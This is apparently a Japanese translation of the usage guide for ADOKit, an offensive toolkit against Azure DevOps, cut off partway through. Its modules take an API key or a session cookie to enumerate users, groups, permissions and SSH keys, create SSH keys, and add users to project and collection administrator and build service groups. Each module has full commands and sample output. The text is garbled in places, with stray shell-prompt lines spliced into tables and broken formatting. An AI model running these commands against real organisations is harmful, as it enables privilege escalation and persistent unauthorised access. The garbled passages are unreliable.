                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### SSHキーの一覧表示

#### ユースケース

> *Azure DevOpsインスタンス内の指定されたユーザーの公開SSHキーをすべて一覧表示します。*

#### 構文

`listsshkey` モジュールを、関連する認証情報とURLとともに指定します。これにより、ユーザーのすべてのアクティブなSSHキーについて、SSHキーID、名前、スコープ、有効期限が出力されます。さらに、公開SSHキーの最後の20文字が表示されます。

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

SSHキーの削除

ユースケース

Azure DevOpsインスタンス内の指定されたユーザーのSSHキーを削除します。

構文

removesshkeyモジュールを、関連する認証情報とURLとともに指定します。さらに、/id:引数でSSHキーのIDを指定します。これにより、SSHキーが削除されたかどうかが出力され、削除後にユーザーの現在のアクティブなSSHキーが一覧表示されます。

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

出力例```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### ユーザー一覧

#### ユースケース

> *Azure DevOps インスタンス内のユーザーを一覧表示する*

#### 構文

`listuser` モジュールと、関連する認証情報およびURLを指定します。これにより、ユーザー名、表示名、ユーザープリンシパル名が出力されます。

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

ユーザー検索

ユースケース

指定されたユーザーを Azure DevOps インスタンスで検索します

構文

searchuser モジュールと /search: コマンドライン引数で検索条件を指定し、関連する認証情報と URL を合わせて指定します。一致するユーザー名、表示名、ユーザー プリンシパル名が出力されます。

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

出力例```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### チーム一覧

#### ユースケース

> *Azure DevOps インスタンス内のチームを一覧表示する*

#### 構文

`listteam` モジュールを、関連する認証情報とURLとともに指定します。これにより、チーム名、プロジェクト名、チームの説明が出力されます。

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

チーム検索

ユースケース

Azure DevOps インスタンス内の指定されたチームを検索します

構文

searchteam モジュールと /search: コマンドライン引数に検索条件を指定し、適切な認証情報とURLを指定します。これにより、チーム名、プロジェクト名、チームの説明が出力されます。

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

出力例```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### チームメンバーの取得

#### ユースケース

> *指定されたチームのチームメンバーを取得する*

#### 構文

`getteammembers` モジュールと検索条件を `/search:` コマンドライン引数に指定し、関連する認証情報とURLを指定します。これにより、チーム名、チームメンバーのユーザー名、チームメンバーの表示名が出力されます。

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### 出力例

C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

================================================== Module: getteammembers Auth Type: API Key Search Term: dev team Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 10:45:11 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                                     Username |                                  User Display Name

root@kitploit:~
                                      Dev Team |             [email protected] |                                             User 1
                                      Dev Team |             [email protected] |                                              user3
                                      Dev Team |             [email protected] |                                              user4
root@kitploit:~
### グループ一覧

#### ユースケース

> *Azure DevOps インスタンス内のグループを一覧表示します*

#### 構文

`listgroup` モジュールと、関連する認証情報および URL を指定します。これにより、グループのユーザー プリンシパル名、表示名、説明が出力されます。

`ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:45 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                        [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
               [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
    [YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data
   [ProjectWithMultipleRepos]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.
[YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
     [TEAM FOUNDATION]\Enterprise Service Accounts |                        Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only.
  [YourOrganization]\Security Service Group |                             Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group.
              [TestProject]\Release Administrators |                             Release Administrators | Members of this group can perform all operations on Release Management


---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

グループの検索

ユースケース

Azure DevOps インスタンス内の指定されたグループを検索する

構文

searchgroup モジュールと検索条件を /search: コマンドライン引数で指定し、関連する認証情報と URL を指定します。これにより、一致するグループのユーザー プリンシパル名、表示名、説明が出力されます。

ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"

ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"

出力例```

C:>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

================================================== Module: searchgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:41 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                               UPN |                   Display Name |                                        Description

root@kitploit:~
                               [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                   [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                              [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                             [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                             [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
       [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                 [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                               [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
 [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                              [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

root@kitploit:~
### グループメンバーの取得

#### ユースケース

> *指定されたグループのすべてのグループメンバーを一覧表示します*

#### 構文

`getgroupmembers` モジュールと、`/group:` コマンドライン引数で検索したいグループを、関連する認証情報とURLとともに指定します。これにより、一致するグループのユーザープリンシパル名と、そのグループの各グループメンバー(ユーザーのメールアドレスと表示名を含む)が出力されます。

`ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"`

`ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"`

#### 出力例```
C:\>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

==================================================
Module:         getgroupmembers
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:03 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                                   [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                                 [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                                 [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                                 [TestProject2]\Project Administrators |             [email protected] |                                             User 2
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                     [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                                   [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

プロジェクト権限を取得する

ユースケース

指定されたプロジェクトへの権限を持つユーザーの一覧を取得します。

構文

getpermissions モジュールと、/project: コマンドライン引数で検索したいプロジェクトを、関連する認証情報とURLとともに指定します。これにより、一致したグループのユーザープリンシパル名、表示名、説明が出力されます。さらに、これらの各グループのグループメンバーも出力されます。

ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"

ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"

出力例```

C:>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpermissions Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:16 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
           [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                   [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
              [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
         [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
            [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                        [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.

[*] INFO: Listing group members for each group that has permissions to this project

GROUP NAME: [MaraudersMap]\Build Administrators

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

GROUP NAME: [MaraudersMap]\Contributors

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                                       [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                       [MaraudersMap]\Contributors |             [email protected] |                                             User 2

GROUP NAME: [MaraudersMap]\MaraudersMap Team

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                                  [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins

GROUP NAME: [MaraudersMap]\Project Administrators

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

GROUP NAME: [MaraudersMap]\Project Valid Users

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

GROUP NAME: [MaraudersMap]\Readers

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                                            [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

root@kitploit:~
### プロジェクト管理者の追加

#### ユースケース

> *指定されたプロジェクトのプロジェクト管理者グループにユーザーを追加します。*

#### 構文

指定されたプロジェクトの`Project Administrators`グループにユーザーを追加するために、`addprojectadmin`モジュールを`/project:`および`/user:`と共に指定します。また、関連する認証情報とURLを提供してください。このアクションを実行するために必要な権限については、[モジュール詳細テーブル](#module-details-table)を参照してください。

`ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### 出力例```
C:\>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         addprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 2:52:45 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                                 [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

プロジェクト管理者の削除

ユースケース

指定されたプロジェクトのプロジェクト管理者グループからユーザーを削除します。

構文

指定されたユーザーを指定されたプロジェクトの Project Administrators グループから削除するには、removeprojectadmin モジュールを /project: および /user: と共に指定します。また、関連する認証情報とURLを併せて指定してください。このアクションを実行するために必要な権限については、モジュール詳細テーブル を参照してください。

ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

出力例```

C:>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: removeprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:19:43 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

root@kitploit:~
### ビルド管理者の追加

#### ユースケース

> *指定されたプロジェクトのビルド管理者グループにユーザーを追加します。*

#### 構文

特定のユーザーを指定されたプロジェクトの `Build Administrators` グループに追加するには、`addbuildadmin` モジュールを `/project:` および `/user:` と共に指定します。また、関連する認証情報とURLも指定してください。このアクションを実行するために必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。

`ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### 出力例```
C:\>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         addbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:41:51 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

ビルド管理者の削除

ユースケース

特定のプロジェクトのビルド管理者グループからユーザーを削除します。

構文

指定されたプロジェクトのBuild Administratorsグループから削除するユーザーに対して、/project:および/user:と共にremovebuildadminモジュールを指定します。また、関連する認証情報とURLも指定してください。この操作に必要な権限については、モジュール詳細テーブルを参照してください。

ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

出力例```

C:>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: removebuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:42:10 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

4/4/23 19:42:11 Finished execution of removebuildadmin

root@kitploit:~
### コレクション管理者の追加

#### ユースケース

> *ユーザーをProject Collection Administratorsグループに追加します。*

#### 構文

`addcollectionadmin`モジュールを、指定されたユーザーを`Project Collection Administrators`グループに追加するための`/user:`とともに指定します。さらに、関連する認証情報とURLを指定します。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table)を参照してください。

`ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 出力例```
C:\>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         addcollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:04:40 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
           [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

コレクション管理者の削除

ユースケース

プロジェクト コレクション管理者グループからユーザーを削除します。

構文

指定されたユーザーを Project Collection Administrators グループから削除するには、removecollectionadmin モジュールと /user: を指定します。さらに、関連する認証情報とURLを指定してください。このアクションに必要なアクセス許可については、モジュール詳細テーブルを参照してください。

ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

出力例```

C:>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: removecollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:10:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

root@kitploit:~
### コレクションビルド管理者の追加

#### 使用例

> *ユーザーをProject Collection Build Administratorsグループに追加します。*

#### 構文

`addcollectionbuildadmin` モジュールに `/user:` を指定して、指定されたユーザーを `Project Collection Build Administrators` グループに追加します。さらに、関連する認証情報とURLを指定します。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。

`ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 出力例```
C:\>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         addcollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:39 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
     [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

コレクションビルド管理者の削除

ユースケース

特定のユーザーをプロジェクトコレクションのビルド管理者グループから削除します。

構文

指定されたユーザーを Project Collection Build Administrators グループから削除するために、removecollectionbuildadmin モジュールと /user: を指定します。さらに、関連する認証情報とURLも指定します。この操作に必要なアクセス許可については、モジュール詳細テーブルを参照してください。

ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

出力例```

C:>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: removecollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:59 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

root@kitploit:~
### コレクションビルドサービスアカウントの追加

#### ユースケース

> *Project Collection Build Service Accounts グループにユーザーを追加します。*

#### 構文

`addcollectionbuildsvc` モジュールと `/user:` を指定して、特定のユーザーを `Project Collection Build Service Accounts` グループに追加します。さらに、関連する認証情報とURLを指定します。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。

`ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 出力例```
C:\>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         addcollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:13 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
   [YourOrganization]\Project Collection Build Service Accounts |             [email protected] |                                             User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

コレクションビルドサービスアカウントの削除

使用例

指定されたユーザーをProject Collection Build Service Accountsグループから削除します。

構文

removecollectionbuildsvc モジュールを、/user: とともに指定されたユーザーに対して指定し、そのユーザーを Project Collection Build Service Accounts グループから削除します。さらに、関連する認証情報とURLを指定してください。この操作を実行するために必要な権限については、モジュール詳細テーブルを参照してください。

ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

出力例```

C:>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: removecollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

root@kitploit:~
### コレクションサービスアカウントの追加

#### ユースケース

> *ユーザーを Project Collection Service Accounts グループに追加する。*

#### 構文

`addcollectionsvc` モジュールと `/user:` を指定して、指定されたユーザーを `Project Collection Service Accounts` グループに追加します。また、関連する認証情報と URL を指定してください。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。

`ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

